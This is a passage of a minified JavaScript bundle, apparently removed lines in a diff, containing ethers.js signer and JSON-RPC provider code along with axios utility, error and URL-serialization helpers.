!= e2.type || null == e2.maxFeePerGas || null == e2.maxPriorityFeePerGas) - if (0 === e2.type || 1 === e2.type) - null == e2.gasPrice && (e2.gasPrice = this.getGasPrice()); - else { - const t4 = yield this.getFeeData(); - if (null == e2.type) - if (null != t4.maxFeePerGas && null != t4.maxPriorityFeePerGas) - if (e2.type = 2, null != e2.gasPrice) { - const t5 = e2.gasPrice; - delete e2.gasPrice, e2.maxFeePerGas = t5, e2.maxPriorityFeePerGas = t5; - } else - null == e2.maxFeePerGas && (e2.maxFeePerGas = t4.maxFeePerGas), null == e2.maxPriorityFeePerGas && (e2.maxPriorityFeePerGas = t4.maxPriorityFeePerGas); - else - null != t4.gasPrice ? (r4 && JI.throwError("network does not support EIP-1559", Gl.errors.UNSUPPORTED_OPERATION, { operation: "populateTransaction" }), null == e2.gasPrice && (e2.gasPrice = t4.gasPrice), e2.type = 0) : JI.throwError("failed to get consistent fee data", Gl.errors.UNSUPPORTED_OPERATION, { operation: "signer.getFeeData" }); - else - 2 === e2.type && (null == e2.maxFeePerGas && (e2.maxFeePerGas = t4.maxFeePerGas), null == e2.maxPriorityFeePerGas && (e2.maxPriorityFeePerGas = t4.maxPriorityFeePerGas)); - } - else - e2.type = 2; - return null == e2.nonce && (e2.nonce = this.getTransactionCount("pending")), null == e2.gasLimit && (e2.gasLimit = this.estimateGas(e2).catch((t4) => { - if (zI.indexOf(t4.code) >= 0) - throw t4; - return JI.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Gl.errors.UNPREDICTABLE_GAS_LIMIT, { error: t4, tx: e2 }); - })), null == e2.chainId ? e2.chainId = this.getChainId() : e2.chainId = Promise.all([Promise.resolve(e2.chainId), this.getChainId()]).then((e3) => (0 !== e3[1] && e3[0] !== e3[1] && JI.throwArgumentError("chainId address mismatch", "transaction", t3), e3[0])), yield Cf(e2); - }); - } - _checkProvider(t3) { - this.provider || JI.throwError("missing provider", Gl.errors.UNSUPPORTED_OPERATION, { operation: t3 || "_checkProvider" }); - } - static isSigner(t3) { - return !(!t3 || !t3._isSigner); - } - }; - var XI = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var VI = new Gl(fd); - var WI = ["call", "estimateGas"]; - function ZI(t2, e2) { - if (null == t2) - return null; - if ("string" == typeof t2.message && t2.message.match("reverted")) { - const r4 = Xl(t2.data) ? t2.data : null; - if (!e2 || r4) - return { message: t2.message, data: r4 }; - } - if ("object" == typeof t2) { - for (const r4 in t2) { - const n2 = ZI(t2[r4], e2); - if (n2) - return n2; - } - return null; - } - if ("string" == typeof t2) - try { - return ZI(JSON.parse(t2), e2); - } catch (t3) { - } - return null; - } - function $I(t2, e2, r4) { - const n2 = r4.transaction || r4.signedTransaction; - if ("call" === t2) { - const t3 = ZI(e2, true); - if (t3) - return t3.data; - VI.throwError("missing revert data in call exception; Transaction reverted without a reason string", Gl.errors.CALL_EXCEPTION, { data: "0x", transaction: n2, error: e2 }); - } - if ("estimateGas" === t2) { - let r5 = ZI(e2.body, false); - null == r5 && (r5 = ZI(e2, false)), r5 && VI.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Gl.errors.UNPREDICTABLE_GAS_LIMIT, { reason: r5.message, method: t2, transaction: n2, error: e2 }); - } - let A2 = e2.message; - throw e2.code === Gl.errors.SERVER_ERROR && e2.error && "string" == typeof e2.error.message ? A2 = e2.error.message : "string" == typeof e2.body ? A2 = e2.body : "string" == typeof e2.responseText && (A2 = e2.responseText), A2 = (A2 || "").toLowerCase(), A2.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i) && VI.throwError("insufficient funds for intrinsic transaction cost", Gl.errors.INSUFFICIENT_FUNDS, { error: e2, method: t2, transaction: n2 }), A2.match(/nonce (is )?too low/i) && VI.throwError("nonce has already been used", Gl.errors.NONCE_EXPIRED, { error: e2, method: t2, transaction: n2 }), A2.match(/replacement transaction underpriced|transaction gas price.*too low/i) && VI.throwError("replacement fee too low", Gl.errors.REPLACEMENT_UNDERPRICED, { error: e2, method: t2, transaction: n2 }), A2.match(/only replay-protected/i) && VI.throwError("legacy pre-eip-155 transactions not supported", Gl.errors.UNSUPPORTED_OPERATION, { error: e2, method: t2, transaction: n2 }), WI.indexOf(t2) >= 0 && A2.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/) && VI.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Gl.errors.UNPREDICTABLE_GAS_LIMIT, { error: e2, method: t2, transaction: n2 }), e2; - } - function ty(t2) { - return new Promise(function(e2) { - setTimeout(e2, t2); - }); - } - function ey(t2) { - if (t2.error) { - const e2 = new Error(t2.error.message); - throw e2.code = t2.error.code, e2.data = t2.error.data, e2; - } - return t2.result; - } - function ry(t2) { - return t2 ? t2.toLowerCase() : t2; - } - var ny = {}; - var Ay = class extends qI { - constructor(t2, e2, r4) { - if (super(), t2 !== ny) - throw new Error("do not call the JsonRpcSigner constructor directly; use provider.getSigner"); - If(this, "provider", e2), null == r4 && (r4 = 0), "string" == typeof r4 ? (If(this, "_address", this.provider.formatter.address(r4)), If(this, "_index", null)) : "number" == typeof r4 ? (If(this, "_index", r4), If(this, "_address", null)) : VI.throwArgumentError("invalid address or index", "addressOrIndex", r4); - } - connect(t2) { - return VI.throwError("cannot alter JSON-RPC Signer connection", Gl.errors.UNSUPPORTED_OPERATION, { operation: "connect" }); - } - connectUnchecked() { - return new iy(ny, this.provider, this._address || this._index); - } - getAddress() { - return this._address ? Promise.resolve(this._address) : this.provider.send("eth_accounts", []).then((t2) => (t2.length <= this._index && VI.throwError("unknown account #" + this._index, Gl.errors.UNSUPPORTED_OPERATION, { operation: "getAddress" }), this.provider.formatter.address(t2[this._index]))); - } - sendUncheckedTransaction(t2) { - t2 = mf(t2); - const e2 = this.getAddress().then((t3) => (t3 && (t3 = t3.toLowerCase()), t3)); - if (null == t2.gasLimit) { - const r4 = mf(t2); - r4.from = e2, t2.gasLimit = this.provider.estimateGas(r4); - } - return null != t2.to && (t2.to = Promise.resolve(t2.to).then((t3) => XI(this, void 0, void 0, function* () { - if (null == t3) - return null; - const e3 = yield this.provider.resolveName(t3); - return null == e3 && VI.throwArgumentError("provided ENS name resolves to null", "tx.to", t3), e3; - }))), Cf({ tx: Cf(t2), sender: e2 }).then(({ tx: e3, sender: r4 }) => { - null != e3.from ? e3.from.toLowerCase() !== r4 && VI.throwArgumentError("from address mismatch", "transaction", t2) : e3.from = r4; - const n2 = this.provider.constructor.hexlifyTransaction(e3, { from: true }); - return this.provider.send("eth_sendTransaction", [n2]).then((t3) => t3, (t3) => ("string" == typeof t3.message && t3.message.match(/user denied/i) && VI.throwError("user rejected transaction", Gl.errors.ACTION_REJECTED, { action: "sendTransaction", transaction: e3 }), $I("sendTransaction", t3, n2))); - }); - } - signTransaction(t2) { - return VI.throwError("signing transactions is unsupported", Gl.errors.UNSUPPORTED_OPERATION, { operation: "signTransaction" }); - } - sendTransaction(t2) { - return XI(this, void 0, void 0, function* () { - const e2 = yield this.provider._getInternalBlockNumber(100 + 2 * this.provider.pollingInterval), r4 = yield this.sendUncheckedTransaction(t2); - try { - return yield ud(() => XI(this, void 0, void 0, function* () { - const t3 = yield this.provider.getTransaction(r4); - if (null !== t3) - return this.provider._wrapTransaction(t3, r4, e2); - }), { oncePoll: this.provider }); - } catch (t3) { - throw t3.transactionHash = r4, t3; - } - }); - } - signMessage(t2) { - return XI(this, void 0, void 0, function* () { - const e2 = "string" == typeof t2 ? Zf(t2) : t2, r4 = yield this.getAddress(); - try { - return yield this.provider.send("personal_sign", [Wl(e2), r4.toLowerCase()]); - } catch (e3) { - throw "string" == typeof e3.message && e3.message.match(/user denied/i) && VI.throwError("user rejected signing", Gl.errors.ACTION_REJECTED, { action: "signMessage", from: r4, messageData: t2 }), e3; - } - }); - } - _legacySignMessage(t2) { - return XI(this, void 0, void 0, function* () { - const e2 = "string" == typeof t2 ? Zf(t2) : t2, r4 = yield this.getAddress(); - try { - return yield this.provider.send("eth_sign", [r4.toLowerCase(), Wl(e2)]); - } catch (e3) { - throw "string" == typeof e3.message && e3.message.match(/user denied/i) && VI.throwError("user rejected signing", Gl.errors.ACTION_REJECTED, { action: "_legacySignMessage", from: r4, messageData: t2 }), e3; - } - }); - } - _signTypedData(t2, e2, r4) { - return XI(this, void 0, void 0, function* () { - const n2 = yield rd.resolveNames(t2, e2, r4, (t3) => this.provider.resolveName(t3)), A2 = yield this.getAddress(); - try { - return yield this.provider.send("eth_signTypedData_v4", [A2.toLowerCase(), JSON.stringify(rd.getPayload(n2.domain, e2, n2.value))]); - } catch (t3) { - throw "string" == typeof t3.message && t3.message.match(/user denied/i) && VI.throwError("user rejected signing", Gl.errors.ACTION_REJECTED, { action: "_signTypedData", from: A2, messageData: { domain: n2.domain, types: e2, value: n2.value } }), t3; - } - }); - } - unlock(t2) { - return XI(this, void 0, void 0, function* () { - const e2 = this.provider, r4 = yield this.getAddress(); - return e2.send("personal_unlockAccount", [r4.toLowerCase(), t2, null]); - }); - } - }; - var iy = class extends Ay { - sendTransaction(t2) { - return this.sendUncheckedTransaction(t2).then((t3) => ({ hash: t3, nonce: null, gasLimit: null, gasPrice: null, data: null, value: null, chainId: null, confirmations: 0, from: null, wait: (e2) => this.provider.waitForTransaction(t3, e2) })); - } - }; - var oy = { chainId: true, data: true, gasLimit: true, gasPrice: true, nonce: true, to: true, value: true, type: true, accessList: true, maxFeePerGas: true, maxPriorityFeePerGas: true }; - var sy = class extends YI { - constructor(t2, e2) { - let r4 = e2; - null == r4 && (r4 = new Promise((t3, e3) => { - setTimeout(() => { - this.detectNetwork().then((e4) => { - t3(e4); - }, (t4) => { - e3(t4); - }); - }, 0); - })), super(r4), t2 || (t2 = yf(this.constructor, "defaultUrl")()), If(this, "connection", "string" == typeof t2 ? Object.freeze({ url: t2 }) : Object.freeze(mf(t2))), this._nextId = 42; - } - get _cache() { - return null == this._eventLoopCache && (this._eventLoopCache = {}), this._eventLoopCache; - } - static defaultUrl() { - return "http://localhost:8545"; - } - detectNetwork() { - return this._cache.detectNetwork || (this._cache.detectNetwork = this._uncachedDetectNetwork(), setTimeout(() => { - this._cache.detectNetwork = null; - }, 0)), this._cache.detectNetwork; - } - _uncachedDetectNetwork() { - return XI(this, void 0, void 0, function* () { - yield ty(0); - let t2 = null; - try { - t2 = yield this.send("eth_chainId", []); - } catch (e2) { - try { - t2 = yield this.send("net_version", []); - } catch (t3) { - } - } - if (null != t2) { - const e2 = yf(this.constructor, "getNetwork"); - try { - return e2(hf.from(t2).toNumber()); - } catch (e3) { - return VI.throwError("could not detect network", Gl.errors.NETWORK_ERROR, { chainId: t2, event: "invalidNetwork", serverError: e3 }); - } - } - return VI.throwError("could not detect network", Gl.errors.NETWORK_ERROR, { event: "noNetwork" }); - }); - } - getSigner(t2) { - return new Ay(ny, this, t2); - } - getUncheckedSigner(t2) { - return this.getSigner(t2).connectUnchecked(); - } - listAccounts() { - return this.send("eth_accounts", []).then((t2) => t2.map((t3) => this.formatter.address(t3))); - } - send(t2, e2) { - const r4 = { method: t2, params: e2, id: this._nextId++, jsonrpc: "2.0" }; - this.emit("debug", { action: "request", request: vf(r4), provider: this }); - const n2 = ["eth_chainId", "eth_blockNumber"].indexOf(t2) >= 0; - if (n2 && this._cache[t2]) - return this._cache[t2]; - const A2 = gd(this.connection, JSON.stringify(r4), ey).then((t3) => (this.emit("debug", { action: "response", request: r4, response: t3, provider: this }), t3), (t3) => { - throw this.emit("debug", { action: "response", error: t3, request: r4, provider: this }), t3; - }); - return n2 && (this._cache[t2] = A2, setTimeout(() => { - this._cache[t2] = null; - }, 0)), A2; - } - prepareRequest(t2, e2) { - switch (t2) { - case "getBlockNumber": - return ["eth_blockNumber", []]; - case "getGasPrice": - return ["eth_gasPrice", []]; - case "getBalance": - return ["eth_getBalance", [ry(e2.address), e2.blockTag]]; - case "getTransactionCount": - return ["eth_getTransactionCount", [ry(e2.address), e2.blockTag]]; - case "getCode": - return ["eth_getCode", [ry(e2.address), e2.blockTag]]; - case "getStorageAt": - return ["eth_getStorageAt", [ry(e2.address), rf(e2.position, 32), e2.blockTag]]; - case "sendTransaction": - return ["eth_sendRawTransaction", [e2.signedTransaction]]; - case "getBlock": - return e2.blockTag ? ["eth_getBlockByNumber", [e2.blockTag, !!e2.includeTransactions]] : e2.blockHash ? ["eth_getBlockByHash", [e2.blockHash, !!e2.includeTransactions]] : null; - case "getTransaction": - return ["eth_getTransactionByHash", [e2.transactionHash]]; - case "getTransactionReceipt": - return ["eth_getTransactionReceipt", [e2.transactionHash]]; - case "call": - return ["eth_call", [yf(this.constructor, "hexlifyTransaction")(e2.transaction, { from: true }), e2.blockTag]]; - case "estimateGas": - return ["eth_estimateGas", [yf(this.constructor, "hexlifyTransaction")(e2.transaction, { from: true })]]; - case "getLogs": - return e2.filter && null != e2.filter.address && (e2.filter.address = ry(e2.filter.address)), ["eth_getLogs", [e2.filter]]; - } - return null; - } - perform(t2, e2) { - return XI(this, void 0, void 0, function* () { - if ("call" === t2 || "estimateGas" === t2) { - const t3 = e2.transaction; - if (t3 && null != t3.type && hf.from(t3.type).isZero() && null == t3.maxFeePerGas && null == t3.maxPriorityFeePerGas) { - const r5 = yield this.getFeeData(); - null == r5.maxFeePerGas && null == r5.maxPriorityFeePerGas && ((e2 = mf(e2)).transaction = mf(t3), delete e2.transaction.type); - } - } - const r4 = this.prepareRequest(t2, e2); - null == r4 && VI.throwError(t2 + " not implemented", Gl.errors.NOT_IMPLEMENTED, { operation: t2 }); - try { - return yield this.send(r4[0], r4[1]); - } catch (r5) { - return $I(t2, r5, e2); - } - }); - } - _startEvent(t2) { - "pending" === t2.tag && this._startPending(), super._startEvent(t2); - } - _startPending() { - if (null != this._pendingFilter) - return; - const t2 = this, e2 = this.send("eth_newPendingTransactionFilter", []); - this._pendingFilter = e2, e2.then(function(r4) { - return function n2() { - t2.send("eth_getFilterChanges", [r4]).then(function(r5) { - if (t2._pendingFilter != e2) - return null; - let n3 = Promise.resolve(); - return r5.forEach(function(e3) { - t2._emitted["t:" + e3.toLowerCase()] = "pending", n3 = n3.then(function() { - return t2.getTransaction(e3).then(function(e4) { - return t2.emit("pending", e4), null; - }); - }); - }), n3.then(function() { - return ty(1e3); - }); - }).then(function() { - if (t2._pendingFilter == e2) - return setTimeout(function() { - n2(); - }, 0), null; - t2.send("eth_uninstallFilter", [r4]); - }).catch((t3) => { - }); - }(), r4; - }).catch((t3) => { - }); - } - _stopEvent(t2) { - "pending" === t2.tag && 0 === this.listenerCount("pending") && (this._pendingFilter = null), super._stopEvent(t2); - } - static hexlifyTransaction(t2, e2) { - const r4 = mf(oy); - if (e2) - for (const t3 in e2) - e2[t3] && (r4[t3] = true); - var n2, A2; - A2 = r4, (n2 = t2) && "object" == typeof n2 || df.throwArgumentError("invalid object", "object", n2), Object.keys(n2).forEach((t3) => { - A2[t3] || df.throwArgumentError("invalid object key - " + t3, "transaction:" + t3, n2); - }); - const i2 = {}; - return ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach(function(e3) { - if (null == t2[e3]) - return; - const r5 = ef(hf.from(t2[e3])); - "gasLimit" === e3 && (e3 = "gas"), i2[e3] = r5; - }), ["from", "to", "data"].forEach(function(e3) { - null != t2[e3] && (i2[e3] = Wl(t2[e3])); - }), t2.accessList && (i2.accessList = uI(t2.accessList)), i2; - } - }; - function ay(t2, e2) { - return function() { - return t2.apply(e2, arguments); - }; - } - Al(), il(), Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var { toString: cy } = Object.prototype; - var { getPrototypeOf: hy } = Object; - var gy = /* @__PURE__ */ ((t2) => (e2) => { - const r4 = cy.call(e2); - return t2[r4] || (t2[r4] = r4.slice(8, -1).toLowerCase()); - })(/* @__PURE__ */ Object.create(null)); - var uy = (t2) => (t2 = t2.toLowerCase(), (e2) => gy(e2) === t2); - var ly = (t2) => (e2) => typeof e2 === t2; - var { isArray: fy } = Array; - var py = ly("undefined"); - var dy = uy("ArrayBuffer"); - var Iy = ly("string"); - var yy = ly("function"); - var Cy = ly("number"); - var my = (t2) => null !== t2 && "object" == typeof t2; - var By = (t2) => { - if ("object" !== gy(t2)) - return false; - const e2 = hy(t2); - return !(null !== e2 && e2 !== Object.prototype && null !== Object.getPrototypeOf(e2) || Symbol.toStringTag in t2 || Symbol.iterator in t2); - }; - var Ey = uy("Date"); - var wy = uy("File"); - var vy = uy("Blob"); - var _y = uy("FileList"); - var Qy = uy("URLSearchParams"); - var [by, ky, Dy, Sy] = ["ReadableStream", "Request", "Response", "Headers"].map(uy); - function Ny(t2, e2, { allOwnKeys: r4 = false } = {}) { - if (null == t2) - return; - let n2, A2; - if ("object" != typeof t2 && (t2 = [t2]), fy(t2)) - for (n2 = 0, A2 = t2.length; n2 < A2; n2++) - e2.call(null, t2[n2], n2, t2); - else { - const A3 = r4 ? Object.getOwnPropertyNames(t2) : Object.keys(t2), i2 = A3.length; - let o2; - for (n2 = 0; n2 < i2; n2++) - o2 = A3[n2], e2.call(null, t2[o2], o2, t2); - } - } - function My(t2, e2) { - e2 = e2.toLowerCase(); - const r4 = Object.keys(t2); - let n2, A2 = r4.length; - for (; A2-- > 0; ) - if (n2 = r4[A2], e2 === n2.toLowerCase()) - return n2; - return null; - } - var xy = "undefined" != typeof globalThis ? globalThis : "undefined" != typeof self ? self : "undefined" != typeof window ? window : global; - var Fy = (t2) => !py(t2) && t2 !== xy; - var Py = /* @__PURE__ */ ((t2) => (e2) => t2 && e2 instanceof t2)("undefined" != typeof Uint8Array && hy(Uint8Array)); - var Ty = uy("HTMLFormElement"); - var Ry = (({ hasOwnProperty: t2 }) => (e2, r4) => t2.call(e2, r4))(Object.prototype); - var Uy = uy("RegExp"); - var Gy = (t2, e2) => { - const r4 = Object.getOwnPropertyDescriptors(t2), n2 = {}; - Ny(r4, (r5, A2) => { - let i2; - false !== (i2 = e2(r5, A2, t2)) && (n2[A2] = i2 || r5); - }), Object.defineProperties(t2, n2); - }; - var Hy = "abcdefghijklmnopqrstuvwxyz"; - var Ly = "0123456789"; - var Oy = { DIGIT: Ly, ALPHA: Hy, ALPHA_DIGIT: Hy + Hy.toUpperCase() + Ly }; - var Yy = uy("AsyncFunction"); - var Ky = { isArray: fy, isArrayBuffer: dy, isBuffer: function(t2) { - return null !== t2 && !py(t2) && null !== t2.constructor && !py(t2.constructor) && yy(t2.constructor.isBuffer) && t2.constructor.isBuffer(t2); - }, isFormData: (t2) => { - let e2; - return t2 && ("function" == typeof FormData && t2 instanceof FormData || yy(t2.append) && ("formdata" === (e2 = gy(t2)) || "object" === e2 && yy(t2.toString) && "[object FormData]" === t2.toString())); - }, isArrayBufferView: function(t2) { - let e2; - return e2 = "undefined" != typeof ArrayBuffer && ArrayBuffer.isView ? ArrayBuffer.isView(t2) : t2 && t2.buffer && dy(t2.buffer), e2; - }, isString: Iy, isNumber: Cy, isBoolean: (t2) => true === t2 || false === t2, isObject: my, isPlainObject: By, isReadableStream: by, isRequest: ky, isResponse: Dy, isHeaders: Sy, isUndefined: py, isDate: Ey, isFile: wy, isBlob: vy, isRegExp: Uy, isFunction: yy, isStream: (t2) => my(t2) && yy(t2.pipe), isURLSearchParams: Qy, isTypedArray: Py, isFileList: _y, forEach: Ny, merge: function t2() { - const { caseless: e2 } = Fy(this) && this || {}, r4 = {}, n2 = (n3, A2) => { - const i2 = e2 && My(r4, A2) || A2; - By(r4[i2]) && By(n3) ? r4[i2] = t2(r4[i2], n3) : By(n3) ? r4[i2] = t2({}, n3) : fy(n3) ? r4[i2] = n3.slice() : r4[i2] = n3; - }; - for (let t3 = 0, e3 = arguments.length; t3 < e3; t3++) - arguments[t3] && Ny(arguments[t3], n2); - return r4; - }, extend: (t2, e2, r4, { allOwnKeys: n2 } = {}) => (Ny(e2, (e3, n3) => { - r4 && yy(e3) ? t2[n3] = ay(e3, r4) : t2[n3] = e3; - }, { allOwnKeys: n2 }), t2), trim: (t2) => t2.trim ? t2.trim() : t2.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ""), stripBOM: (t2) => (65279 === t2.charCodeAt(0) && (t2 = t2.slice(1)), t2), inherits: (t2, e2, r4, n2) => { - t2.prototype = Object.create(e2.prototype, n2), t2.prototype.constructor = t2, Object.defineProperty(t2, "super", { value: e2.prototype }), r4 && Object.assign(t2.prototype, r4); - }, toFlatObject: (t2, e2, r4, n2) => { - let A2, i2, o2; - const s2 = {}; - if (e2 = e2 || {}, null == t2) - return e2; - do { - for (A2 = Object.getOwnPropertyNames(t2), i2 = A2.length; i2-- > 0; ) - o2 = A2[i2], n2 && !n2(o2, t2, e2) || s2[o2] || (e2[o2] = t2[o2], s2[o2] = true); - t2 = false !== r4 && hy(t2); - } while (t2 && (!r4 || r4(t2, e2)) && t2 !== Object.prototype); - return e2; - }, kindOf: gy, kindOfTest: uy, endsWith: (t2, e2, r4) => { - t2 = String(t2), (void 0 === r4 || r4 > t2.length) && (r4 = t2.length), r4 -= e2.length; - const n2 = t2.indexOf(e2, r4); - return -1 !== n2 && n2 === r4; - }, toArray: (t2) => { - if (!t2) - return null; - if (fy(t2)) - return t2; - let e2 = t2.length; - if (!Cy(e2)) - return null; - const r4 = new Array(e2); - for (; e2-- > 0; ) - r4[e2] = t2[e2]; - return r4; - }, forEachEntry: (t2, e2) => { - const r4 = (t2 && t2[Symbol.iterator]).call(t2); - let n2; - for (; (n2 = r4.next()) && !n2.done; ) { - const r5 = n2.value; - e2.call(t2, r5[0], r5[1]); - } - }, matchAll: (t2, e2) => { - let r4; - const n2 = []; - for (; null !== (r4 = t2.exec(e2)); ) - n2.push(r4); - return n2; - }, isHTMLForm: Ty, hasOwnProperty: Ry, hasOwnProp: Ry, reduceDescriptors: Gy, freezeMethods: (t2) => { - Gy(t2, (e2, r4) => { - if (yy(t2) && -1 !== ["arguments", "caller", "callee"].indexOf(r4)) - return false; - const n2 = t2[r4]; - yy(n2) && (e2.enumerable = false, "writable" in e2 ? e2.writable = false : e2.set || (e2.set = () => { - throw Error("Can not rewrite read-only method '" + r4 + "'"); - })); - }); - }, toObjectSet: (t2, e2) => { - const r4 = {}, n2 = (t3) => { - t3.forEach((t4) => { - r4[t4] = true; - }); - }; - return fy(t2) ? n2(t2) : n2(String(t2).split(e2)), r4; - }, toCamelCase: (t2) => t2.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function(t3, e2, r4) { - return e2.toUpperCase() + r4; - }), noop: () => { - }, toFiniteNumber: (t2, e2) => null != t2 && Number.isFinite(t2 = +t2) ? t2 : e2, findKey: My, global: xy, isContextDefined: Fy, ALPHABET: Oy, generateString: (t2 = 16, e2 = Oy.ALPHA_DIGIT) => { - let r4 = ""; - const { length: n2 } = e2; - for (; t2--; ) - r4 += e2[Math.random() * n2 | 0]; - return r4; - }, isSpecCompliantForm: function(t2) { - return !!(t2 && yy(t2.append) && "FormData" === t2[Symbol.toStringTag] && t2[Symbol.iterator]); - }, toJSONObject: (t2) => { - const e2 = new Array(10), r4 = (t3, n2) => { - if (my(t3)) { - if (e2.indexOf(t3) >= 0) - return; - if (!("toJSON" in t3)) { - e2[n2] = t3; - const A2 = fy(t3) ? [] : {}; - return Ny(t3, (t4, e3) => { - const i2 = r4(t4, n2 + 1); - !py(i2) && (A2[e3] = i2); - }), e2[n2] = void 0, A2; - } - } - return t3; - }; - return r4(t2, 0); - }, isAsyncFn: Yy, isThenable: (t2) => t2 && (my(t2) || yy(t2)) && yy(t2.then) && yy(t2.catch) }; - function Jy(t2, e2, r4, n2, A2) { - Error.call(this), Error.captureStackTrace ? Error.captureStackTrace(this, this.constructor) : this.stack = new Error().stack, this.message = t2, this.name = "AxiosError", e2 && (this.code = e2), r4 && (this.config = r4), n2 && (this.request = n2), A2 && (this.response = A2); - } - Al(), il(), Al(), il(), Al(), il(), Al(), il(), Al(), il(), Ky.inherits(Jy, Error, { toJSON: function() { - return { message: this.message, name: this.name, description: this.description, number: this.number, fileName: this.fileName, lineNumber: this.lineNumber, columnNumber: this.columnNumber, stack: this.stack, config: Ky.toJSONObject(this.config), code: this.code, status: this.response && this.response.status ? this.response.status : null }; - } }); - var jy = Jy.prototype; - var zy = {}; - ["ERR_BAD_OPTION_VALUE", "ERR_BAD_OPTION", "ECONNABORTED", "ETIMEDOUT", "ERR_NETWORK", "ERR_FR_TOO_MANY_REDIRECTS", "ERR_DEPRECATED", "ERR_BAD_RESPONSE", "ERR_BAD_REQUEST", "ERR_CANCELED", "ERR_NOT_SUPPORT", "ERR_INVALID_URL"].forEach((t2) => { - zy[t2] = { value: t2 }; - }), Object.defineProperties(Jy, zy), Object.defineProperty(jy, "isAxiosError", { value: true }), Jy.from = (t2, e2, r4, n2, A2, i2) => { - const o2 = Object.create(jy); - return Ky.toFlatObject(t2, o2, function(t3) { - return t3 !== Error.prototype; - }, (t3) => "isAxiosError" !== t3), Jy.call(o2, t2.message, e2, r4, n2, A2), o2.cause = t2, o2.name = t2.name, i2 && Object.assign(o2, i2), o2; - }; - var qy = Jy; - Al(), il(); - function Xy(t2) { - return Ky.isPlainObject(t2) || Ky.isArray(t2); - } - function Vy(t2) { - return Ky.endsWith(t2, "[]") ? t2.slice(0, -2) : t2; - } - function Wy(t2, e2, r4) { - return t2 ? t2.concat(e2).map(function(t3, e3) { - return t3 = Vy(t3), !r4 && e3 ? "[" + t3 + "]" : t3; - }).join(r4 ? "." : "") : e2; - } - var Zy = Ky.toFlatObject(Ky, {}, null, function(t2) { - return /^is[A-Z]/.test(t2); - }); - var $y = function(t2, e2, r4) { - if (!Ky.isObject(t2)) - throw new TypeError("target must be an object"); - e2 = e2 || new FormData(); - const n2 = (r4 = Ky.toFlatObject(r4, { metaTokens: true, dots: false, indexes: false }, false, function(t3, e3) { - return !Ky.isUndefined(e3[t3]); - })).metaTokens, A2 = r4.visitor || c2, i2 = r4.dots, o2 = r4.indexes, s2 = (r4.Blob || "undefined" != typeof Blob && Blob) && Ky.isSpecCompliantForm(e2); - if (!Ky.isFunction(A2)) - throw new TypeError("visitor must be a function"); - function a2(t3) { - if (null === t3) - return ""; - if (Ky.isDate(t3)) - return t3.toISOString(); - if (!s2 && Ky.isBlob(t3)) - throw new qy("Blob is not supported. Use a Buffer instead."); - return Ky.isArrayBuffer(t3) || Ky.isTypedArray(t3) ? s2 && "function" == typeof Blob ? new Blob([t3]) : Buffer.from(t3) : t3; - } - function c2(t3, r5, A3) { - let s3 = t3; - if (t3 && !A3 && "object" == typeof t3) { - if (Ky.endsWith(r5, "{}")) - r5 = n2 ? r5 : r5.slice(0, -2), t3 = JSON.stringify(t3); - else if (Ky.isArray(t3) && function(t4) { - return Ky.isArray(t4) && !t4.some(Xy); - }(t3) || (Ky.isFileList(t3) || Ky.endsWith(r5, "[]")) && (s3 = Ky.toArray(t3))) - return r5 = Vy(r5), s3.forEach(function(t4, n3) { - !Ky.isUndefined(t4) && null !== t4 && e2.append(true === o2 ? Wy([r5], n3, i2) : null === o2 ? r5 : r5 + "[]", a2(t4)); - }), false; - } - return !!Xy(t3) || (e2.append(Wy(A3, r5, i2), a2(t3)), false); - } - const h2 = [], g2 = Object.assign(Zy, { defaultVisitor: c2, convertValue: a2, isVisitable: Xy }); - if (!Ky.isObject(t2)) - throw new TypeError("data must be an object"); - return function t3(r5, n3) { - if (!Ky.isUndefined(r5)) { - if (-1 !== h2.indexOf(r5)) - throw Error("Circular reference detected in " + n3.join(".")); - h2.push(r5), Ky.forEach(r5, function(r6, i3) { - true === (!(Ky.isUndefined(r6) || null === r6) && A2.call(e2, r6, Ky.isString(i3) ? i3.trim() : i3, n3, g2)) && t3(r6, n3 ? n3.concat(i3) : [i3]); - }), h2.pop(); - } - }(t2), e2; - }; - function tC(t2) { - const e2 = { "!": "%21", "'": "%27", "(": "%28", ")": "%29", "~": "%7E", "%20": "+", "%00": "\0" }; - return encodeURIComponent(t2).replace(/[!'()~]|%20|%00/g, function(t3) { - return e2[t3]; - }); - } - function eC(t2, e2) { - this._pairs = [], t2 && $y(t2, this, e2); - } - var rC = eC.prototype; - rC.append = function(t2, e2) { - this._pairs.push([t2, e2]); - }, rC.toString = function(t2) { - const e2 = t2 ? function(e3) { - return t2.call(this, e3, tC); - } : tC; - return this._pairs.map(function(t3) { - return e2(t3[0]) + "=" + e2(t3[1]); - }, "").join("&"); - }; - var nC = eC; - function AC(t2) { - return encodeURIComponent(t2).replace(/%3A/gi, ":").replace(/%24/g, "$").replace(/%2C/gi, ",").replace(/%20/g, "+").replace(/%5B/gi, "[").replace(/%5D/gi, "]"); - } - function iC(t2, e2, r4) { - if (!e2) - return t2; - const n2 = r4 && r4.encode || AC, A2 = r4 && r4.serialize; - let i2; - if (i2 = A2 ? A2(e2, r4) : Ky.isURLSearchParams(e2) ? e2.toString() : new nC(e2, r4).toString(n2), i2) { - const e3 = t2.indexOf("#"); - -1 !== e3 && (t2 = t2.slice(0, e3)), t2 += (-1 === t2.indexOf("?") ? "?" : "&") + i2; - } - return t2; - } - Al(), il(); - var oC = class { - constructor() { - this.handlers = []; - } - use(t2, e2, r4) { - return this.handlers.push({ fulfilled: t2, rejected: e2, synchronous: !!r4 && r4.synchronous, runWhen: r4 ? r4.runWhen 